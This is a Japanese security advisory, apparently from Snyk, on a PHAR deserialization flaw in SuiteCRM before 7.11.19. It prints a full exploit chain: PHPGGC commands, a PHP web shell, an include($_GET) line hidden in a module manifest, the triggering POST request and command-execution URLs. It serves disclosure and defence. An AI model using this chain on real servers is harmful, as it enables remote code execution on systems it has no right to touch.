Skip to main content

SuiteCRM:PHARデシリアライゼーションの脆弱性によるコード実行

著者
Headshot of Sam Sanoop

Sam Sanoop

vulnerability assessment

2021年5月7日

0 分で読めます

SuiteCRMは、サーバー向けの無料のオープンソース顧客関係管理アプリケーションです。このアドバイザリでは、SuiteCRMに存在するPHARデシリアライゼーションの脆弱性について詳しく解説します。この脆弱性を悪用すると、認証済みの管理者が基盤となるオペレーティングシステム上でコマンドを実行できる可能性があります。この問題はリリース7.11.19で修正されています。

PHPでは、PHAR(PHP Archive)ファイルを使用して、PHPアプリケーションやPHPライブラリを1つのアーカイブファイルにまとめることができます。PHPのPHAR形式は、複数のPHPコードを保存して実行できる単一ファイル形式です。PHARファイルには、アーカイブ内のファイルに関するメタデータが含まれています。このメタデータはPHARファイル内にシリアライズ形式で保存されます。

phar://ラッパーを介してPHARファイルに対するファイル操作を行うと、PHARファイルのメタデータがデシリアライズされます。そのため、攻撃者はPHARファイルをアップロードすることで、unserialize()関数を使わずにPHPオブジェクトインジェクションを実行できる可能性があります。この脆弱性は、Sam Thomas氏がBlackHat USA 2018で発表した「It's a PHP Unserialization Vulnerability Jim, but Not as We Know It」という研究によって広く知られるようになりました。この問題は複数のコンテンツ管理システムに影響しました。この脆弱性を悪用するには、次の2つの条件を満たす必要があります。

  • file_existsなど、制御可能でunserialize()関数を呼び出すPHPのファイルシステム関数があること

  • 対象システムに.phar、.zip、または.jpeg拡張子のPHARファイルをアップロードでき、そのファイルのパスが判明していること

PHARデシリアライゼーションの技術的詳細

根本原因

この脆弱性は、CVE-2020-8801への対応としてSuiteCRMのメンテナーが実装したセキュリティ対策を回避します。CVE-2020-8801のアドバイザリに記載されているように、SuiteCRMの管理者パネル内にあるバックアップ、インポート、UpgradeWizardなど複数の領域で、PHARデシリアライゼーションを引き起こす可能性があります。この問題は、リリース7.11.13でコミット571cbfa209da4c8280a5359f301115de25b4c6e3により修正されました。

ファイル名に「phar://」プロトコルが含まれているかを確認し、含まれている場合は処理を終了するPHP条件式を表示したコードエディター。

ユーザーパラメーターにphar:// URIが含まれているかどうかを確認するために、strpos関数が使用されています。しかし、strpos関数を使用しているため、このチェックでは大文字と小文字が区別されます。そのため、大文字を使ってチェックを回避し、PHAR://として呼び出すことでPHARデシリアライゼーションを引き起こせます。

利用可能なガジェットを探す

PHAR URIのチェックに対するSuiteCRMのパッチを回避することは可能ですが、SuiteCRMのメンテナーは、攻撃者がデシリアライゼーションを利用して実行できる、あらゆるPOPガジェットが悪用されないよう対策を講じていました。危険と見なされたクラスに__wakeupマジックメソッドを追加する方法です。このメソッドはオブジェクトがデシリアライズされるたびに自動で呼び出され、デシリアライズ時にオブジェクトのすべてのプロパティが破棄されるようにします。以下に例を示します。

オブジェクトのプロパティをクリアし、「シリアライズ可能なオブジェクトではありません」という例外をスローする__wakeupメソッドを示すPHPコードスニペット。

modules/Import/sources/ImportFile.phpには__destructマジックメソッドがあり、安全でないデシリアライゼーションを通じてシステム上の任意のファイルを削除するために悪用される可能性があります。しかし、前述の__wakeupメソッドが存在するため、攻撃者はこの__destructメソッドを悪用できません。このチェックはSuiteCRMのコードベース全体で確認されました。

しかし、SuiteCRMの依存関係を詳しく調べたところ、任意のファイル削除に悪用できる__destructメソッドが見つかりました。SuiteCRMはzend-gdataライブラリを使用しており、その間接依存関係としてzf1/zend-httpが使われています。

zf1/zend-httpパッケージのStream.phpファイルには__destructメソッドがあり、呼び出されると、オブジェクトの$stream_nameプロパティに対して@unlink関数を実行します。このメソッド内の@unlink関数を利用してファイルを削除できます。この関数を呼び出すには、対象オブジェクトに$_cleanupプロパティも存在する必要があります。この__destructメソッドのコードを以下に示します。

ストリームを閉じ、関連ファイルを削除する__destruct関数を示すPHPコードスニペット。

このガジェットはすでに知られており、PHPGGCライブラリで利用できます。PHPGGCはunserialize()ペイロードのライブラリで、ユーザーが指定したパラメーターに基づいてPOPガジェットのペイロードを生成するスクリプトも含まれています。

注:SuiteCRMのインストール環境にすべての開発用依存関係もインストールされている場合は、脆弱なバージョンのPHP-CS-Fixerを利用して、zf1/zend-httpの代わりに任意のファイルを削除することもできます。このPOPガジェットをPHPGGCに組み込むプルリクエストはこちらです:https://github.com/ambionics/phpggc/pull/93。

アップロード機能の特定と悪用

CVE-2020-8801のアドバイザリでは、PHARデシリアライゼーションに利用できるパラメーターやSuiteCRM内の領域について説明されていますが、アドバイザリと、この問題を発見した研究者の関連ブログには、PHARファイルをどこにアップロードできるのか、また悪用可能なパスや場所についての記載がありません。さらに、SuiteCRMにアップロードされたファイルは拡張子が取り除かれ、ファイル名がランダムなUUIDに変更されることも確認されました。たとえば、ドキュメントとしてparty-parrot.pngをアップロードすると、51eea769-ce13-40bb-fb25-60197bf855aeという名前に変更されます。

ターミナルウィンドウの上に表示されたSuiteCRMのparty-parrot.pngのドキュメント詳細。ウィンドウにはアップロード済みファイルとコマンドラインの操作が表示されています

しかし、SuiteCRMの機能をさらに詳しく調べたところ、Module LoaderからアップロードしたZIPファイルはこの動作の対象外であり、モジュールのZIPファイルは攻撃者が推測可能な任意の場所に.zip拡張子のままアップロード、保存されることが分かりました。これはPHARデシリアライゼーションの脆弱性を悪用するための要件を満たすのに利用できます。以下に例を示します。

InstallボタンとDelete Packageボタンが表示された、examplemodule.zipパッケージのSuiteCRM Module Loader

アップロードされたexamplemodule.zipファイルは、次の場所に保存されます。manifest.phpファイル自体はmodule.zipディレクトリから取得され、同じ場所で参照できます。

exemplemodule-manifest.phpとexemplemodule.zipファイルが表示された、モジュールディレクトリの一覧を示すターミナル。

任意のファイル削除を引き起こす

アップロードしたZIPファイルのパスが判明し、ファイル削除ガジェットが存在し、PHARデシリアライゼーションを引き起こす関数が利用できる場合、これらの条件を組み合わせてSuiteCRMのインストール環境を悪用できます。

PHPGGCを使うと、次のようにPHARファイルを作成できます。

./phpggc -p zip -o /tmp/malicious.zip -f ZendFramework/FD1 /tmp/test.txt

上記のコマンドは、ZIP形式のPHARファイルを作成し、malicious.zipという名前で保存します。前述のzf1/zend-http POPガジェットのシリアライズ済みペイロードを挿入し、このシリアライズされたオブジェクトの$stream_nameプロパティを/tmp/test.txtに設定します。さらに、PHPGGCの-fオプションを使用すると、unserialize()の呼び出し直後にシリアライズされたオブジェクトが破棄されるようになり、ペイロードの信頼性を高めることができます。

注:このZIPファイルをアプリケーションに受け入れさせるには、example manifest.phpファイルもZIPに追加する必要があります。Linuxでは、次のように実行できます。

zip -rv malicious.zip manifest.php

アップロード後、このファイルはupload/upgrades/moduleディレクトリに配置されます。

モジュールディレクトリに、exampleとmaliciousのmanifest PHPファイルおよびZIPファイルが表示されたターミナル画面。赤枠で強調表示されています。

このファイルは、SuiteCRM管理パネルのバックアップセクションから呼び出せます。

PHARパス欄、ファイル名欄、「設定を確定」ボタンが表示されたSuiteCRMのバックアップ設定フォーム

ファイル削除からコード実行へ

ファイル削除を悪用すれば、アプリケーションのソースコードファイルを削除してサービス拒否攻撃を実行できます。また、.htaccessファイルを削除してアップロードされたファイルに直接アクセスすることで、SuiteCRMのインストール環境上で任意のコードを実行することも可能です。

.htaccessは分散設定ファイルで、Apacheがディレクトリごとの設定変更を処理するために使用します。SuiteCRMのインストール環境では、このファイルによって/uploadや/filesなどのディレクトリへの直接アクセスが禁止されています。PHARデシリアライゼーションを利用して、このファイルを削除できます。さらに、前述のmainfest.phpを使ってPHPコードを紛れ込ませ、実行させることができます。

Module Loader機能でモジュールをアップロードする際、SuiteCRMはmanifest.phpも含まれていることを想定しています。以下に例を示します。

悪意のあるモジュール、対応するSugarのバージョンとエディション、メタデータ、インストールパスを定義したPHPマニフェストが表示された、暗色のコードエディター。

デフォルトではSuiteCRMは、アップロードされたファイルにexecやsystemなどの不審な関数呼び出しが含まれていないことを確認します。制限対象の関数呼び出しの全一覧はこちらです:Module Loader Restrictions

このチェックでは「include」関数が考慮されていません。PHPのinclude関数を使うと、ファイル(デフォルトではローカルファイル)を読み込み、PHPコードとして実行できます。そのため、ユーザーパラメーターを受け取るinclude関数(include($_GET['p']);)をmanifestファイルに紛れ込ませ、SuiteCRMによって名前が変更されるアップロードファイルに悪意のあるPHPコードを含めて渡せば、コードを実行できます。

PHARデシリアライゼーションのまとめ

PHARデシリアライゼーションによるコード実行の流れをまとめると、次のとおりです。

1. SuiteCRMにファイルをアップロードする

通常のファイル保存機能を使って、SuiteCRMにファイルをアップロードします。この例では、次のファイルをshell.phpとしてアップロードします:<?php echo system($_GET["cmd"]); ?>

ファイル名「shell.php.txt」とドキュメント名「shell.php」が表示されたSuiteCRMのドキュメント詳細ページ

このファイルはアプリケーションによってeb7cde01-6190-9ca9-b81b-601998504b41に名前が変更され、/var/www/html/uploadsディレクトリに保存されます。このUIDはファイルのURLで確認できます。

http://suitecrm.local/index.php?entryPoint=download&id=eb7cde01-6190-9ca9-b81b-601998504b41&type=Documents

2. ZIP形式のPHARをアップロードする

呼び出されると.htaccessファイルを削除し、PHPコードを紛れ込ませたmanifest.phpを含むZIP形式のPHARアーカイブをアップロードします。PHPGGCは次のように使用できます。

./phpggc -p zip -o /tmp/maliciousmodule.zip -f ZendFramework/FD1 /var/www/html/.htaccess

次のコードをmanifest.phpファイルに追加し、そのファイルをPHAR ZIPアーカイブに追加します。

GETパラメータを使用したPHPのinclude文「include($_GET[123]);」がハイライト表示されたコードエディター

このZIPアーカイブは、Module Loaderコンポーネントを使ってシステムにアップロードできます。

3. PHARデシリアライゼーションを引き起こす

maliciousmodule.zipファイルを呼び出して、PHARデシリアライゼーションを引き起こします。バックアップ領域を使ってPHARデシリアライゼーションを実行できます。アプリケーションに送信するHTTPリクエストは次のとおりです。

POST /index.php?module=Administration&action=Backups HTTP/1.1
Host: suitecrm.local
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 119
Origin: http://suitecrm.local
Connection: close
Referer: http://suitecrm.local/index.php?module=Administration&action=Backups
Cookie: sugar_user_theme=SuiteP; ck_login_id_20=1; ck_login_language_20=en_us; EmailGridWidths=0=10&1=10&2=150&3=250&4=175&5=125; PHPSESSID=6b8f472cd174d02167bc0a0c908ec9e0
Upgrade-Insecure-Requests: 1

backup_dir=PHAR%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fupload%2Fupgrades%2Fmodule%2Fmaliciousmodule.zip&backup_zip=s&run=confirm

4. maliciousmoduleのmanifestにアクセスする

ディレクトリパスにアクセスし、アップロードしたshell.php.txtを読み込んで、malicousmoduleのmanifestファイルにアクセスします。.htaccessファイルが削除されているため、アップロードディレクトリにアクセスできるようになります。malcioiusmodule-manifest.phpには次のようにアクセスできます。

http://suitecrm.local/upload/upgrades/module/maliciousmodule-manifest.php 

?123を指定し、shell.php.txtファイルを渡せるようになります。

http://suitecrm.local/upload/upgrades/module/maliciousmodule-manifest.php?123=/var/www/html/upload/eb7cde01-6190-9ca9-b81b-601998504b41

読み込まれたshell.php.txtはコードとして解釈され、cmdパラメーターで指定した内容がシステムコマンドによって実行されます。

http://suitecrm.local/upload/upgrades/module/maliciousmodule-manifest.php?123=/var/www/html/upload/eb7cde01-6190-9ca9-b81b-601998504b41&cmd=id
ブラウザーにサーバーのユーザー情報とグループ情報が繰り返し表示されています: uid=33(www-data), gid=33(www-data), groups=33(www-data).

まとめ

まとめると、ユーザー入力を検証する際は、大文字と小文字を区別しないチェックにならないよう注意が必要です。さらに、デシリアライゼーションガジェットの使用を修正・防止する場合は、Composerのオートロード機能を通じてプロジェクトに読み込まれる間接依存関係も考慮する必要があります。Snyk Open SourceはPHPのスキャンにも対応しており、コードからデシリアライゼーションガジェットを削除した既知のライブラリをスキャンして報告できます。

カテゴリー: